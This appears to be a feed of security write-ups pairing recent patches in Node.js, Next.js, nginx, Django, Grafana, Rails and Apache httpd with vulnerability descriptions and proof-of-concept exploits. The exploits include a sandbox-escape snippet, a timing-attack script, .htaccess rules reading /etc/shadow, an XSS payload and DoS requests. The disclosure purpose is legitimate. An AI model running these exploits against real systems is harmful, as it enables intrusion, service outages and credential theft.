“Exposing patches before CVEs since 2025”
Wednesday, August 12, 2026
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: c68711fd3f0d5495fd89080a6fc182d50a1a8efd
Author: Matteo Collina
The `addContext()` method in Node.js TLS server constructed a RegExp without the case-insensitive flag 'i', causing SNI hostname matching to be case-sensitive. Since RFC 6066 specifies DNS hostnames are case-insensitive, an attacker in an mTLS configuration could send an uppercase or mixed-case SNI hostname (e.g., 'A.EXAMPLE.COM' instead of 'a.example.com') to bypass the per-tenant TLS context and its associated client certificate requirements, falling back to the default context which may have no or weaker client authentication. The fix adds the 'i' flag to the RegExp so matching is case-insensitive.
servername
.replace(/([.^$+?\-\\[\]{}])/g, '\\$1')
.replaceAll('*', '[^.]*')
}$`);
In an mTLS server where 'a.example.com' context requires client certificates:
const tls = require('tls');
const server = tls.createServer(defaultOptions);
server.addContext('a.example.com', { key, cert, ca, requestCert: true, rejectUnauthorized: true });
// Attacker connects with uppercase SNI, bypassing the client cert requirement:
const client = tls.connect({
port: server.address().port,
servername: 'A.EXAMPLE.COM', // uppercase bypasses per-tenant context
rejectUnauthorized: false
// No client certificate provided
});
// Before patch: connection succeeds using default context (no client cert required)
// After patch: connection uses the correct context requiring client cert, and fails without one
Jun 18, 2026, 12:00 AM — nodejs/node
Commit: 6cde2370268f6918f4caa7d2f712ef22db90eb1e
Author: Antoine du Hamel
Before the patch, exceptions thrown by TLS event listeners (resumeSession, OCSPRequest, newSession) were not caught and would propagate as uncaught exceptions, potentially crashing the Node.js process. A remote attacker could trigger these code paths by sending specially crafted TLS handshake data, causing the server to crash due to an uncaught exception from a user-supplied callback. The patch wraps these event emissions in try-catch blocks and routes errors through proper TLS error handlers (tlsClientError or server error events) instead.
if (!owner.server.emit('resumeSession', hello.sessionId, onSession)) {
// ...
}
socket.server.emit('OCSPRequest', ctx.getCertificate(), ctx.getIssuer(), onOCSP);
if (!owner.server.emit('newSession', sessionId, session, done))
done();
const tls = require('tls');
const server = tls.createServer({
key: fs.readFileSync('server-key.pem'),
cert: fs.readFileSync('server-cert.pem'),
sessionTimeout: 3600,
});
server.on('resumeSession', (id, cb) => {
throw new Error('crash the server');
});
// No error handler - exception propagates as uncaught, crashing the process
server.listen(8443);
// Attacker connects twice with session resumption to trigger resumeSession event
// First connection establishes session, second connection triggers resumeSession
// The thrown error becomes an uncaught exception, crashing the Node.js server
Jun 17, 2026, 03:41 PM — vercel/next.js
Commit: f2ddd134e70fd66e411d829b45d4de581f1b66be
Author: Tim Neutkens
A non-RSC HTML request with the `Next-Router-Prefetch: 1` header set could cause the server to enter the partial prefetch tree path, produce a null active cache node, and suspend the HTML render indefinitely until a timeout occurred. This could be triggered by any external client sending crafted HTTP headers to a Next.js App Router application, effectively causing a denial of service by hanging render threads. The fix ensures prefetch routing headers are only respected when the request is also a valid RSC request.
const isPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '1' const isAppShellPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '3' const isRuntimePrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '2' || isAppShellPrefetchRequest const isRSCRequest = isRSCRequestHeader(headers[RSC_HEADER])
curl -H 'Next-Router-Prefetch: 1' https://target-nextjs-app.example.com/ This causes the Next.js App Router server to treat the plain HTML request as a prefetch request, entering the partial prefetch tree path, producing a null active cache node, and hanging the render until timeout (effectively a DoS). A malicious actor can flood the server with such requests to exhaust render threads.
Jun 17, 2026, 02:40 PM — nginx/nginx
Commit: 875750a4f76bf68189929f887951e02b66c99801
Author: Roman Arutyunyan
In nginx's HTTP/3 QPACK dynamic table implementation, the insert buffer was allocated using the current table capacity (`dt->capacity`) rather than the maximum table capacity (`h3scf->max_table_capacity`). Since the table capacity can be increased later via a Set Dynamic Table Capacity instruction, subsequent insertions into the dynamic table could write beyond the initially allocated buffer, leading to a heap buffer overflow. The fix allocates the buffer using the configured maximum table capacity upfront to prevent overflow.
if (dt->insert_buffer == NULL) {
dt->insert_buffer = ngx_create_temp_buf(c->pool, dt->capacity);
if (dt->insert_buffer == NULL) {
return NULL;
}
}
1. Connect to nginx server with HTTP/3 enabled. 2. Send a QPACK encoder stream with a Set Dynamic Table Capacity instruction that increases capacity beyond the initial value (e.g., set capacity to 4096 when it starts at 0 or a small value). 3. The insert_buffer is allocated at step of first use with dt->capacity (the current/initial capacity, possibly 0 or small). 4. Then send Insert Header Field instructions that together exceed the originally allocated buffer size but are within the new (larger) capacity. 5. This causes writes beyond the heap buffer boundary, potentially corrupting adjacent heap memory, leading to denial of service or remote code execution.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: ceccdbd2ee799d020a371b9420bdacb9cf273aa7
Author: Roman Arutyunyan
The insert buffer for HTTP/3 QPACK dynamic table was allocated from the encoder stream's memory pool (`c->pool`) rather than the parent connection's pool (`c->quic->parent->pool`). When the encoder stream was closed and a new encoder stream was opened, the old pool would be freed but `dt->insert_buffer` would still point into that freed memory, causing a use-after-free. An attacker can trigger this by closing and reopening the QUIC encoder stream while QPACK dynamic table insertions are in progress.
dt->insert_buffer = ngx_create_temp_buf(c->pool,
h3scf->max_table_capacity);
1. Establish an HTTP/3 connection to nginx. 2. Open the QPACK encoder stream and send some dynamic table insert instructions (e.g., Insert With Name Reference) to populate dt->insert_buffer allocated from the encoder stream pool. 3. Close the encoder stream (sending a FIN or RST_STREAM on the unidirectional encoder stream), causing its pool to be freed. 4. Open a new QPACK encoder stream on the same connection. 5. Send further encoder instructions — nginx will now use dt->insert_buffer which points into freed memory from the old stream pool, resulting in a use-after-free that can lead to memory corruption or remote code execution.
Jun 17, 2026, 02:40 PM — nginx/nginx
Commit: 9e293766e73c469c015df5341f1c1d403fb532c6
Author: Roman Arutyunyan
Before the patch, nginx HTTP/3 used `h3c->known_streams\[index\]` (a pointer that could be NULL after a stream closes) to check whether a standard unidirectional stream (control/encoder/decoder) had already been created. Because stream closure and new stream creation are asynchronous and can happen within the same event-loop iteration, a malicious client could close a control/encoder/decoder stream and immediately open a new one of the same type. The server would see `known_streams\[index\] == NULL` (set by the close handler) and allow the new stream, potentially reusing or corrupting shared parsing state such as the QPACK encoder insert buffer. The fix introduces a persistent `created_streams` bitmask that is never cleared, preventing any stream type from being registered a second time regardless of whether the previous instance was closed.
if (h3c->known_streams[index]) {
ngx_log_error(NGX_LOG_INFO, c->log, 0, "stream exists");
return NGX_HTTP_V3_ERR_STREAM_CREATION_ERROR;
}
h3c->known_streams[index] = c;
1. Client opens a QUIC connection to nginx and creates the three mandatory unidirectional streams (control=0x02, encoder=0x06, decoder=0x0a). 2. Client sends a FIN on the encoder stream (stream type 0x02), causing nginx to set h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER] = NULL in ngx_http_v3_close_uni_stream(). 3. In the same event-loop tick (before nginx processes the closure further), client opens a new QUIC unidirectional stream and sends stream-type byte 0x02 (encoder stream) again. 4. nginx evaluates `if (h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER])` → NULL → false, so it registers the new stream and reuses/reinitialises the QPACK encoder insert buffer shared state. 5. The attacker now controls two concurrent encoder streams; by sending crafted QPACK encoder instructions on both, they can corrupt the dynamic header table state, potentially causing out-of-bounds reads/writes in subsequent header decompression and leaking memory or crashing the worker process.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: 26d824ec3a2f819300edce0ab3b055751c9843ff
Author: Roman Arutyunyan
Before this patch, nginx's HTTP/2 upstream modules (gRPC and proxy_v2) did not validate header field lengths before using them to calculate buffer sizes for HPACK encoding. An attacker could craft requests with extremely long header values (method, URI, host, or custom headers) exceeding NGX_HTTP_V2_MAX_FIELD, causing integer overflow in the `len` calculation (`1 + NGX_HTTP_V2_INT_OCTETS + very_large_value`) which would lead to under-allocation and subsequent heap buffer overflow when writing the encoded headers. The patch adds length checks that return NGX_ERROR before any buffer allocation occurs when headers exceed NGX_HTTP_V2_MAX_FIELD.
len += 1 + NGX_HTTP_V2_INT_OCTETS + r->method_name.len; tmp_len = r->method_name.len; // ... later: len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len; // No bounds checking on these lengths before buffer allocation
Send an HTTP request through nginx to a gRPC or HTTP/2 upstream with an extremely long URI or custom header value exceeding NGX_HTTP_V2_MAX_FIELD (typically 2^24-1 or similar large value). For example:
curl -X POST 'http://nginx-server/grpc-endpoint' \
-H 'Content-Type: application/grpc' \
-H "X-Custom-Header: $(python3 -c 'print("A" * (2**24))' )"
The `uri_len` or `val_len` value would cause integer overflow in `len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len`, resulting in a small allocation followed by out-of-bounds write when nginx populates the HPACK-encoded header buffer, potentially leading to remote code execution.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: 319a0bff157b15d9061f4712b2edbe6fdd2dee66
Author: Sergey Kandaurov
In nginx's charset filter module, the `recode_from_utf8()` function had a 1-byte out-of-bounds read when processing invalid UTF-8 sequences that were saved across buffer boundaries. The `ngx_utf8_decode()` function stops advancing the pointer on the first invalid byte, so when processing a partially-saved invalid UTF-8 sequence, the `saved` pointer could remain behind `ctx->saved\[ctx->saved_len\]`, causing a subsequent read of memory beyond the saved buffer. The fix ensures the pointer advances past the entire saved sequence in this case.
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, pool->log, 0,
"http charset invalid utf 1");
} else {
Send an HTTP response through nginx with charset conversion enabled (e.g., converting from UTF-8 to another charset like windows-1251), where the response body contains an invalid multi-byte UTF-8 sequence split across two buffer boundaries. For example, send a response body where the last byte of one buffer is 0xC0 (invalid UTF-8 start byte) followed by a continuation byte in the next buffer. This triggers the saved-sequence path with an invalid UTF-8 sequence, causing ngx_utf8_decode() to not advance the pointer, resulting in a 1-byte read past the end of the ctx->saved[] array. Configure: charset_filter_source_charset utf-8; charset windows-1251; Then send a body like: '\xc0\x80' split across buffer boundaries to trigger the overread.
Jun 16, 2026, 10:56 PM — django/django
Commit: 09434486302078c3649e034dfa74cf3f102db20b
Author: diaxoaine
Before the patch, passing a 'Bcc' key in the `extra_headers` argument of `EmailMessage` would cause the BCC addresses to be serialized directly into the email message headers, making them visible to all recipients. The `from`, `to`, `cc`, and `reply-to` headers were explicitly excluded from being written via `extra_headers`, but `bcc` was not, allowing it to leak into the message. The patch raises a `ValueError` when `Bcc` is found in `extra_headers`, directing users to use the `bcc` argument instead.
for name, value in self.extra_headers.items():
# Avoid headers handled above.
if name.lower() not in {"from", "to", "cc", "reply-to"}:
msg[name] = force_str(value, strings_only=True)
from django.core.mail import EmailMessage
email = EmailMessage(
subject='Test',
body='Hello',
from_email='[email protected]',
to=['[email protected]'],
headers={'Bcc': '[email protected]'},
)
msg = email.message()
# Before patch: msg.as_string() would contain 'Bcc: [email protected]'
# visible to [email protected], defeating the purpose of BCC
print(msg.as_string()) # Exposes [email protected] to all recipients
Jun 16, 2026, 07:54 AM — grafana/grafana
📈 Patch landed 6 days 7 hours 36 minutes before CVE published
Commit: 82ef13993059351bf21de35b8488bbd9b42df4f4
Author: Mariell Hoversholm
The Loki data source plugin allowed path traversal attacks via the resource URL parameter. Before the patch, user-supplied URL segments were directly interpolated into the Loki API path without validation, allowing an attacker to use '../' sequences to escape the '/loki/api/v1/' prefix and access arbitrary backend endpoints. The fix adds URL parsing and path cleaning to reject any paths that don't remain within the '/loki/api/v1/' prefix.
lokiURL := fmt.Sprintf("/loki/api/v1/%s", url)
ctx, span := tracer.Start(ctx, "datasource.loki.CallResource", trace.WithAttributes(
attribute.String("url", lokiURL),
))
Send a CallResource request to the Loki datasource with url set to '../../../internal/metrics' or '%2e%2e%2f%2e%2e%2finternal/metrics'. This would construct lokiURL = '/loki/api/v1/../../../internal/metrics' which after path resolution becomes '/internal/metrics', allowing access to endpoints outside the Loki API namespace on the backend server.
Jun 12, 2026, 09:28 PM — vercel/next.js
Commit: 660026d50b77ccc9b119abf94894cd1cd4ff7fbf
Author: Janka Uryga
In Next.js edge runtime, the `setTimeout` and `setInterval` polyfills incorrectly used `globalThis` (the Node.js global object) instead of the sandboxed edge runtime context object when invoking callbacks via `.apply()`. This allowed malicious code running in the edge sandbox to access Node.js globals like `process.mainModule.require()` and escape the sandbox entirely, gaining access to the Node.js runtime including filesystem operations, arbitrary module loading, and other restricted APIs.
function webSetTimeoutPolyfill(...) {
return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
function webSetIntervalPolyfill(...) {
return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
In an Edge Runtime route handler (e.g. app/route.ts with `export const runtime = 'edge'`):
export async function GET() {
return new Promise((resolve) => {
setTimeout(function() {
// `this` is Node.js globalThis, not the sandbox global
const fs = this.process.mainModule.require('fs')
fs.writeFileSync('/tmp/pwned.txt', 'sandbox escaped!')
resolve(new Response('escaped!'))
})
})
}
This writes a file to the server filesystem from within what should be an isolated edge sandbox, demonstrating full sandbox escape with access to Node.js internals.
Jun 11, 2026, 04:05 PM — rails/rails
Commit: 8a55fbca4c653978cacb856784b386fe9ee8a27c
Author: Jean Boussier
In Rails applications using ActiveSupport::CurrentAttributes, declaring an attribute named `:attributes` causes the generated accessor to shadow the internal `attributes` writer that `reset` relies on. This means `reset` can no longer clear the per-request state stored in `@attributes`, causing sensitive data (user identity, account info, request context) to leak across requests. The patch replaces the hand-maintained denylist with a dynamically computed one that covers all internal methods.
INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:
require 'active_support'
require 'active_support/current_attributes'
Current = Class.new(ActiveSupport::CurrentAttributes) do
attribute :attributes # shadows internal #attributes= used by reset
end
Current.instance.instance_variable_set(:@attributes, { attributes: { user_id: 42 } })
Current.reset
# After reset, @attributes is NOT cleared because the generated #attributes= shadowed the internal setter
puts Current.instance.instance_variable_get(:@attributes).inspect
# => {:attributes=>{:user_id=>42}} -- sensitive data leaked to next request
Jun 11, 2026, 02:40 PM — rails/rails
Commit: 5e75351bf21f29d879a1cb184fb90ef259be5334
Author: Kenta Ishizaki
Declaring an attribute named `:attributes` in a subclass of `ActiveSupport::CurrentAttributes` shadows the internal `attributes` reader/writer that `reset` relies on to clear per-request state. This causes `reset` to stop clearing the state, leaking values across requests — exactly the isolation `CurrentAttributes` is designed to guarantee. The patch computes the invalid attribute names dynamically from the class's own methods, preventing any attribute declaration that would shadow internal methods.
INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:
require 'active_support'
require 'active_support/current_attributes'
C = Class.new(ActiveSupport::CurrentAttributes) do
attribute :attributes # shadows internal @attributes accessor
end
C.attributes = { user_id: 42, admin: true }
puts C.attributes.inspect # => { user_id: 42, admin: true }
C.reset
puts C.attributes.inspect # => { user_id: 42, admin: true } (NOT cleared!)
# State leaks across requests because reset calls `self.attributes = defaults`
# but the generated accessor has overwritten the internal one.
Jun 11, 2026, 11:38 AM — apache/httpd
Commit: 8e210c28a1dfd84a1e9c4fb8fd3d646619639dfd
Author: Joe Orton
An off-by-one error in the socket path truncation logic in cgid_init() caused a one-byte buffer overflow when writing the null terminator. Before the patch, `tmp_sockname\[sizeof(server_addr->sun_path)\]` wrote a null byte one position past the end of the `sun_path` field in the `sockaddr_un` structure, corrupting adjacent memory. The patch corrects this to `tmp_sockname\[sizeof(server_addr->sun_path) - 1\]`, which properly null-terminates within bounds.
if (strlen(tmp_sockname) > sizeof(server_addr->sun_path) - 1) {
tmp_sockname[sizeof(server_addr->sun_path)] = '\0';
Configure Apache httpd with mod_cgid and set ScriptSock to a path exactly equal to sizeof(sun_path) characters (typically 108 bytes on Linux). When cgid_init() processes this path, it detects it's too long and attempts truncation by writing a null byte at index sizeof(server_addr->sun_path) (e.g., index 108), which is one byte past the end of the sun_path array (valid indices 0-107). This overwrites the first byte of whatever field follows sun_path in the sockaddr_un structure or adjacent heap/stack memory. Example: set ScriptSock to a 108-character path like '/tmp/AAAA...AAAA' (108 A's) in httpd.conf - the null write at offset 108 corrupts memory adjacent to the sun_path buffer.
Jun 11, 2026, 11:38 AM — apache/httpd
Commit: 489f5ef688fedb0139b4428bc04d0e18493e430f
Author: Joe Orton
In mod_cgid.c, `temp_core` was allocated using `sizeof(core_module)` instead of `sizeof(core_request_config)`. Since `core_module` is a module descriptor struct (typically much smaller than `core_request_config`), this results in allocating too little memory for the `core_request_config` structure. Subsequent writes to fields of `temp_core` beyond the allocated size would corrupt adjacent heap memory, potentially leading to crashes or memory corruption exploitable for privilege escalation or code execution.
temp_core = (core_request_config *)apr_palloc(r->pool, sizeof(core_module));
Send a CGI request via mod_cgid that triggers get_req() to process a request. The daemon allocates sizeof(core_module) bytes (e.g., ~80 bytes on 64-bit) for a core_request_config struct (which is much larger). When the code writes fields like body_indeterminate, use_default_accept_ranges, etc. into temp_core, it overflows into adjacent pool memory. A crafted request that causes extensive use of core_request_config fields post-allocation could corrupt heap metadata or adjacent allocations, potentially causing a crash (DoS) or exploitable memory corruption in the cgid daemon process.
Jun 11, 2026, 11:37 AM — apache/httpd
Commit: d7ac43a29f73ed60dcb322abad41a93a10394784
Author: Joe Orton
Before the patch, the `get_req` function in mod_cgid read environment variable lengths (`curlen`) from a Unix socket without validating the size before allocating and reading into a buffer. A malicious or compromised cgid daemon (or a process that hijacked the socket) could send an extremely large `curlen` value, causing `apr_pcalloc` to allocate a huge buffer or triggering integer issues, and then reading that many bytes from the socket into the allocated region. Additionally, `uri_len` and `args_len` had no upper bound checks, and `env_count` was signed allowing negative values to bypass the `env_count < 0` check in certain scenarios. The patch adds `ENV_COUNT_MAX` (256) bound on env_count, upper bounds on uri_len and args_len (APR_PATH_MAX), and per-variable length validation (`curlen > APR_PATH_MAX`) in the environment reading loop.
if (req->env_count < 0 || req->uri_len == 0
|| req->filename_len > APR_PATH_MAX || req->filename_len == 0
|| req->argv0_len > APR_PATH_MAX || req->argv0_len == 0
|| req->loglevel > APLOG_TRACE8) {
return APR_EINVAL;
}
A malicious client connecting to the cgid Unix socket sends a crafted cgid_req_t with env_count=1, valid filename/argv0/uri lengths, then sends a single environment variable with curlen=0xFFFFFFFF (4GB). The server calls `apr_pcalloc(r->pool, 0xFFFFFFFF + 1)` which wraps to 0 or allocates a tiny buffer, then `sock_read(fd, environ[0], 0xFFFFFFFF)` reads ~4GB into that tiny allocation, causing heap corruption. Exploit: craft socket message with env var length field set to `\xff\xff\xff\xff` (or large value exceeding APR_PATH_MAX) to trigger heap overflow in the worker process.
Jun 10, 2026, 08:10 PM — nginx/nginx
Commit: bedf18f95d76b93d15335dee8c642b86e6baeac2
Author: Sergey Kandaurov
The nginx secure_link module used early-exit byte-by-byte MD5 hash comparison (ngx_memcmp and individual byte checks), which leaks timing information about how many bytes of the hash match. An attacker can exploit response time differences to incrementally determine the correct hash value byte-by-byte, eventually forging valid secure links without knowing the secret key. The patch replaces the comparison with a constant-time XOR accumulation that always examines all 16 bytes before returning a result.
if (ngx_memcmp(hash_buf, md5_buf, 16) != 0) {
goto not_found;
}
# Timing attack to recover valid secure link hash without knowing secret:
# For each byte position i (0-15), try all 256 possible hex byte values.
# Measure response time for each candidate - the correct byte value
# will take measurably longer to reject (or accept) due to early-exit comparison.
#
# Example script:
import requests, time, statistics
target = 'http://example.com/s/TOKEN/resource'
# For old-style secure_link, hash is hex-encoded in URL path
# Attacker measures timing for partial matches:
for byte_val in range(256):
candidate = f'{byte_val:02x}' + 'xx' * 15 # vary first byte
times = []
for _ in range(100):
start = time.perf_counter()
r = requests.get(f'http://example.com/s/{candidate}/file')
times.append(time.perf_counter() - start)
print(f'{byte_val:02x}: avg={statistics.mean(times):.6f}s')
# The byte value with the highest avg response time reveals the correct first byte.
# Repeat for each subsequent byte position to recover the full 32-hex-char hash.
Jun 10, 2026, 08:06 AM — grafana/grafana
Commit: d4f2ee742b336ba3d550e5d84a273312fc8ca575
Author: Mihai Turdean
When Zanzana resolved permissions and mapped them back to legacy RBAC format, the scope was derived from the action prefix rather than the resource type. For sub-resource actions like `folders.permissions:read`, this produced `folders.permissions:uid:<uid>` instead of `folders:uid:<uid>`. Since legacy RBAC's `canAdmin` check evaluates `EvalPermission(folders.permissions:read, folders:uid:<uid>)`, the scope never matched and a user with admin rights on a folder could not manage that folder's permissions even though they were authorized to do so. The fix scopes objects by the resource type Zanzana listed them under, ensuring correct permission matching.
func scopeFromAction(action, name string) string {
parts := strings.SplitN(action, ":", 2)
if parts[0] == "" {
return name
}
return ac.Scope(parts[0], "uid", name)
}
1. Grant user Alice 'admin' on folder uid='folder-123' in Zanzana.
2. Zanzana maps this to permissions including action='folders.permissions:read' scoped on 'folders.permissions:uid:folder-123'.
3. Legacy RBAC canAdmin check evaluates: EvalPermission('folders.permissions:read', 'folders:uid:folder-123').
4. The scope 'folders.permissions:uid:folder-123' != 'folders:uid:folder-123', so the check FAILS.
5. Result: Alice cannot manage permissions on folder-123 despite having admin rights, AND conversely, if an attacker could craft a token referencing 'folders.permissions:uid:X', they might match unintended permission checks that also use that malformed scope prefix.
Jun 9, 2026, 03:52 PM — django/django
Commit: 46c5e76f0bcc76bfce19ad7ba07f716fc653a822
Author: ar3ph
When Django's `startproject` or `startapp` command downloads a template archive from a URL, the Content-Disposition header's filename was used directly with `os.path.join()` to construct a path within a temp directory. An attacker-controlled server could return a filename like `/nonexistent/../../etc/passwd` or an absolute path, causing the file to be written outside the intended temporary directory. The fix replaces `os.path.join()` with `safe_join()`, which raises `SuspiciousFileOperation` if the resulting path escapes the base directory.
guessed_path = os.path.join(tempdir, guessed_filename)
Set up a malicious HTTP server that responds to template download requests with: `Content-Disposition: attachment; filename="/tmp/evil_file.tgz"`. Then run: `django-admin startproject --template http://malicious-server/template.tgz myproject`. Before the patch, `os.path.join('/tmp/tmpXXX', '/tmp/evil_file.tgz')` returns `/tmp/evil_file.tgz` (absolute path wins), causing `shutil.move()` to write the archive to an attacker-specified path outside the temp directory, potentially overwriting arbitrary files writable by the user.
Jun 9, 2026, 02:56 PM — django/django
Patch landed 5 days 23 hours 26 minutes after CVE published
Commit: 142b881cecaddc334cabec139e701c0e4b9798da
Author: Jacob Walls
The UpdateCacheMiddleware used a substring check (`directive in cache_control`) to detect Cache-Control directives like 'private', 'no-cache', 'no-store', and 'public'. This meant that an extension directive like 'myprivate' or 'nopublic' would be falsely matched, causing responses that should be cached to not be cached, or causing Authorization-based Vary headers to be incorrectly omitted. More critically, the inverse case for 'public' means that a response with a custom directive containing 'public' as a substring would skip the Authorization vary header, potentially serving a user-specific cached response to other users. The fix replaces substring matching with exact token matching using `split_header_value`.
if cache_control and any(
directive in cache_control
for directive in (
"private",
"no-cache",
"no-store",
)
):
# An attacker or misconfigured app sets a Cache-Control header with a custom directive # containing 'public' as a substring, e.g., 'nopublic': # # Response headers: Cache-Control: nopublic # Request has Authorization header # # Before patch: 'public' in 'nopublic' == True, so the Authorization Vary header # is NOT added, meaning the response may be cached and served to other users # without varying on the Authorization header. # # Concrete test: import requests # Craft response with Cache-Control: nopublic # GET /sensitive-view/ with Authorization: token abc123 # Django caches response without Vary: Authorization # Second request from different user also gets the first user's cached response
Jun 8, 2026, 07:54 PM — grafana/grafana
Commit: d0fa74cf094dc2e32db9f3e0007f951850bee14e
Author: Khalil Haji
Before the patch, the contact point settings redaction logic used case-sensitive key matching when identifying secret fields to redact. An attacker or user with write access could submit secret field keys with non-canonical casing (e.g., 'INTEGRATIONKEY' instead of 'integrationKey') to bypass redaction, causing the plaintext secret to be returned in API responses instead of being redacted. The patch makes the field extraction and redaction logic case-insensitive so secrets are properly identified and redacted regardless of key casing.
func extractField(settings map[string]any, path schema.IntegrationFieldPath) (string, bool, error) {
val, ok := settings[path.Head()]
if !ok {
return "", false, nil
}
POST /api/v1/provisioning/contact-points with body: {"name": "test", "type": "pagerduty", "settings": {"INTEGRATIONKEY": "my-secret-key", "severity": "critical"}}. When subsequently GET /api/v1/provisioning/contact-points is called, the response would include {"settings": {"INTEGRATIONKEY": "my-secret-key"}} in plaintext instead of redacting it, because the redaction logic only matched the canonical key name 'integrationKey' (exact case) and failed to match 'INTEGRATIONKEY'.
Jun 8, 2026, 11:53 AM — nodejs/node
Commit: ba82a4124a597908c1dbbf1819628c04bad4ca06
Author: Matteo Collina
Before this patch, when HTTP/2 header blocks were handed off to JavaScript (via HandleHeadersFrame), the memory they occupied was immediately decremented from the session's memory accounting (maxSessionMemory), even though the JS objects could still hold references to that header data for the lifetime of the stream. This meant an attacker could send many requests with large headers, and once the headers were dispatched to JS, that memory would no longer count against the session limit, allowing effectively unlimited memory consumption. The patch fixes this by retaining the header memory charge until the stream is removed from the session.
DecrementCurrentSessionMemory(stream->current_headers_length_); stream->current_headers_length_ = 0;
Connect to a Node.js HTTP/2 server with maxSessionMemory=1 (1MB limit), set initialWindowSize=0 (to stall DATA frames and keep streams alive), then send hundreds of requests each with large cookie headers (e.g., 120 'cookie: a=1' headers). Before the patch, each request's headers are decremented from session memory immediately after being dispatched to JS, so the server never rejects new streams with ENHANCE_YOUR_CALM despite exceeding the memory limit. This allows an attacker to consume unbounded server memory, causing OOM. The test added in this commit (test-http2-max-session-memory-stalled-headers.js) demonstrates the exploit: 400 requests with 120 cookie headers each, with window size 0 to keep streams stalled — before the patch, rejected would remain 0 and memory would grow unboundedly.
Jun 8, 2026, 09:50 AM — grafana/grafana
Commit: 512eb3fc36f289016f9c4c1f20779976e73d70f8
Author: Alex Khomenko
The LinkButton component in @grafana/ui rendered an <a> element with the href prop passed directly without sanitization. An attacker could inject a javascript: URL as the href value, which would execute arbitrary JavaScript when a user clicked the link. The patch extracts href from the spread props, sanitizes it via textUtil.sanitizeUrl (which neutralizes dangerous schemes like javascript:, data:, and vbscript: to about:blank), and places the sanitized value after {...otherProps} so it always wins.
<a
className={linkButtonStyles}
{...otherProps}
tabIndex={disabled ? -1 : 0}
aria-disabled={disabled}
ref={tooltip ? undefined : ref}
Render <LinkButton href="javascript:alert(document.cookie)">Click me</LinkButton> — before the patch, clicking the rendered anchor would execute alert(document.cookie) in the browser context. Any Grafana plugin or dashboard component that passes user-controlled or backend-sourced URLs to LinkButton is vulnerable to this XSS vector.
Jun 5, 2026, 10:27 AM — apache/httpd
Commit: 0bc2ece957a4461978a5ff14f24182a3be05eed9
Author: Eric Covener
In .htaccess (per-directory) context, modules like mod_rewrite, mod_setenvif, and mod_proxy_fcgi allowed use of file-reading expression functions (file(), filesize(), filemod()) and file-test operators (-d, -e, -f, -s, -L, -h, -x) without restriction. An attacker who could place or modify an .htaccess file could use these functions to read arbitrary filesystem content (e.g., file('/etc/passwd')) or probe file existence/properties outside the web root. The patch centralizes the restriction by applying AP_EXPR_FLAG_RESTRICTED_FILE_FUNC in ap_expr_parse_cmd_mi() whenever the context is htaccess (cmd->pool == cmd->temp_pool), blocking these filesystem-exposing functions.
/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
flags |= AP_EXPR_FLAG_RESTRICTED;
}
Place the following in an .htaccess file in any directory the attacker controls on the server:
RewriteEngine On
RewriteCond "%{file:/etc/passwd}" "root"
RewriteRule ^ /leaked [R=200,L]
Or in mod_setenvif context:
SetEnvIfExpr "%{file:/etc/shadow}" =~ /root/ SHADOW_LEAKED=1
Before the patch, these expressions would be evaluated without restriction in .htaccess context, allowing the contents of arbitrary files to be read and used in conditional logic, effectively leaking filesystem contents via HTTP response behavior.
Jun 5, 2026, 10:17 AM — apache/httpd
Commit: 52cb79b19e110bdd42bffc696844f801fb3c4a2d
Author: Eric Covener
In `ap_regname`, the capture group index was read from the PCRE name table without bounds checking. A regex with a very large capture group number (up to 65535, as PCRE allows) would cause `apr_array_push` to be called in a tight loop up to 65535 times, allocating excessive memory. The patch adds a sanity check limiting capture group indices to 1024, returning -1 for unreasonably large values, and callers now propagate this as a configuration error.
int capture = ((offset[0] << 8) + offset[1]);
while (names->nelts <= capture) {
apr_array_push(names);
}
In an Apache httpd configuration file, use a <Directory> or <Location> block with a regex containing a large named capture group number. Because PCRE internally numbers named groups, a specially crafted regex (e.g., using (?P<name>...) nested deeply or via a compiled regex where the name table entry encodes a large index like 0xFF 0xFF) could encode capture=65535, causing the loop `while (names->nelts <= 65535) apr_array_push(names);` to allocate ~65535 array entries. Example: compile a regex externally where the nametable entry has bytes [0xFF, 0xFF, 'n', 'a', 'm', 'e', 0], then use it in a ProxyMatch/DirectoryMatch directive to trigger OOM during server startup/config parsing.